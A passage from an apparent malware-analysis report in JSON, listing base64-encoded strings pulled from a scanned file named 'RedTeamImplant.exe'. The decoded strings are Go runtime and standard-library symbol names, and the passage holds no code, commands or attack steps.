Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3RyaW5nc2xpdGUuSGFzU3VmZml4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3RyaW5nc2xpdGUuSW5kZXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3RyaW5nc2xpdGUuSW5kZXhCeXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3RyaW5nc2xpdGUuVHJpbVByZWZpeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKmVudHJ5W2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31dKS5sb29rdXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKmVudHJ5W2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31dKS5zd2Fw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKkhhc2hUcmllTWFwW2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31dKS5leHBhbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKkhhc2hUcmllTWFwW2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31dKS5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKkhhc2hUcmllTWFwW2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31dKS5pbml0U2xvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKkhhc2hUcmllTWFwW2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31dKS5pbml0U2xvdy5kZWZlcndyYXAx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKkhhc2hUcmllTWFwW2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31dKS5pdGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKkhhc2hUcmllTWFwW2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31dKS5Mb2Fk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKkhhc2hUcmllTWFwW2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31dKS5Mb2FkT3JTdG9yZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKkhhc2hUcmllTWFwW2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31dKS5Mb2FkT3JTdG9yZS5kZWZlcndyYXAx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKkhhc2hUcmllTWFwW2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31dKS5SYW5nZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKkhhc2hUcmllTWFwW2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31dKS5TdG9yZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKkhhc2hUcmllTWFwW2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31dKS5Td2Fw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKkhhc2hUcmllTWFwW2dvLnNoYXBlLmludGVyZmFjZSB7fSxnby5zaGFwZS5pbnRlcmZhY2Uge31dKS5Td2FwLmRlZmVyd3JhcDE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKk11dGV4KS5Mb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKk11dGV4KS5sb2NrU2xvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKk11dGV4KS5VbmxvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKk11dGV4KS51bmxvY2tTbG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKm5vZGVbZ28uc2hhcGUuaW50ZXJmYWNlIHt9LGdvLnNoYXBlLmludGVyZmFjZSB7fV0pLmVudHJ5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy4oKm5vZGVbZ28uc2hhcGUuaW50ZXJmYWNlIHt9LGdvLnNoYXBlLmludGVyZmFjZSB7fV0pLmluZGlyZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy5mYXRhbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy5uZXdFbnRyeU5vZGVbZ28uc2hhcGUuaW50ZXJmYWNlIHt9LGdvLnNoYXBlLmludGVyZmFjZSB7fV0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy5uZXdJbmRpcmVjdE5vZGVbZ28uc2hhcGUuaW50ZXJmYWNlIHt9LGdvLnNoYXBlLmludGVyZmFjZSB7fV0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy5ydW50aW1lX2NhblNwaW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy5ydW50aW1lX2RvU3Bpbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy5ydW50aW1lX25hbm90aW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy5ydW50aW1lX1NlbWFjcXVpcmVNdXRleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy5ydW50aW1lX1NlbXJlbGVhc2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3luYy50aHJvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC9leGVjZW52LkRlZmF1bHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC9leGVjZW52LkRlZmF1bHQuZGVmZXJ3cmFwMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLigqTlRTdGF0dXMpLkVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLkNyZWF0ZUVudmlyb25tZW50QmxvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLkNyZWF0ZUV2ZW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLkRlc3Ryb3lFbnZpcm9ubWVudEJsb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmVycm5vRXJy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLkVycm9yTG9hZGluZ0dldFRlbXBQYXRoMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLkdldEZpbGVJbmZvcm1hdGlvbkJ5SGFuZGxlRXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLkdldE1vZHVsZUZpbGVOYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLkdldE92ZXJsYXBwZWRSZXN1bHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmdldFZlcnNpb25JbmZv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuZnVuYzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuZnVuYzM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuZnVuYzQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuZnVuYzQuMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuZnVuYzQuZGVmZXJ3cmFwMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuT25jZUZ1bmMuZnVuYzg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuT25jZUZ1bmMuZnVuYzguMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuT25jZUZ1bmMuZnVuYzguMS4x","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuT25jZVZhbHVlW2dvLnNoYXBlLmJvb2xdLmZ1bmM1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuT25jZVZhbHVlW2dvLnNoYXBlLmJvb2xdLmZ1bmM1LjE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuT25jZVZhbHVlW2dvLnNoYXBlLmJvb2xdLmZ1bmM1LjEuMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuT25jZVZhbHVlW2dvLnNoYXBlLmJvb2xdLmZ1bmM2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuT25jZVZhbHVlW2dvLnNoYXBlLmJvb2xdLmZ1bmM2LjE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuT25jZVZhbHVlW2dvLnNoYXBlLmJvb2xdLmZ1bmM2LjEuMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuT25jZVZhbHVlW2dvLnNoYXBlLmJvb2xdLmZ1bmM3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuT25jZVZhbHVlW2dvLnNoYXBlLmJvb2xdLmZ1bmM3LjE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLmluaXQuT25jZVZhbHVlW2dvLnNoYXBlLmJvb2xdLmZ1bmM3LjEuMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLklzTm9uYmxvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLk50UXVlcnlJbmZvcm1hdGlvbkZpbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLk50U2V0SW5mb3JtYXRpb25GaWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLk5UU3RhdHVzLkVycm5v","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLk5UU3RhdHVzLkVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLnJ0bEdldFZlcnNpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLnJ0bE50U3RhdHVzVG9Eb3NFcnJvck5vVGVi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLlVURjE2UHRyVG9TdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLlZlcnNpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLldTQUdldE92ZXJsYXBwZWRSZXN1bHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzLldTQVNvY2tldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3JlZ2lzdHJ5LmVycm5vRXJy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3JlZ2lzdHJ5LmV4cGFuZEVudmlyb25tZW50U3RyaW5ncw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3JlZ2lzdHJ5LkV4cGFuZFN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3JlZ2lzdHJ5LmluaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3JlZ2lzdHJ5LktleS5DbG9zZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3JlZ2lzdHJ5LktleS5HZXRNVUlTdHJpbmdWYWx1ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3JlZ2lzdHJ5LktleS5HZXRTdHJpbmdWYWx1ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3JlZ2lzdHJ5LktleS5nZXRWYWx1ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3JlZ2lzdHJ5LktleS5SZWFkU3ViS2V5TmFtZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3JlZ2lzdHJ5Lk9wZW5LZXk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3JlZ2lzdHJ5LnJlZ0xvYWRNVUlTdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3N5c2RsbC5BZGQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3lzY2FsbC93aW5kb3dzL3N5c2RsbC5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvdGVzdGxvZy5HZXRlbnY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvdGVzdGxvZy5Mb2dnZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvdGVzdGxvZy5PcGVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvdGVzdGxvZy5QYW5pY09uRXhpdDA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvdGVzdGxvZy5QYW5pY09uRXhpdDAuZGVmZXJ3cmFwMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvdGVzdGxvZy5TdGF0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW50ZXJuYWxIaWdo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW50UmVnQXJnQWRkcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5Xb3JrQnVmcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW8uY29weUJ1ZmZlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW8vZnMuKCpGaWxlTW9kZSkuSXNEaXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW8vZnMuKCpGaWxlTW9kZSkuU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW8vZnMuKCpQYXRoRXJyb3IpLkVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW8vZnMuKCpQYXRoRXJyb3IpLlVud3JhcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW8vZnMuRmlsZU1vZGUuSXNEaXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW8vZnMuRmlsZU1vZGUuUGVybQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW8vZnMuRmlsZU1vZGUuU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW8vZnMuaW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$b6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$b7","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aXNCbG9ja2luZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SXNEaXJlY3RJZmFjZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SXNFbWJlZGRlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SXNFeHBvcnRlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aXNFeHRyYUluQw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aXNFeHRyYUluU2ln","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aXNGcmVlT3JOZXdseUFsbG9jYXRlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aXNJZGxlSW5TeW5jdGVzdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aXNJbmxpbmVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aXNNdXRleFdhaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SXNSZWd1bGFy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aXNSZXBhcnNlVGFnTmFtZVN1cnJvZ2F0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aXNTZW5kaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SXNTdHJlYW0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aXNVbnVzZWRVc2VyQXJlbmFDaHVuaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aXNVc2VyQXJlbmFDaHVuaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SXNWYXJpYWRpYw==","type":"Ansi","source":"Memory/File 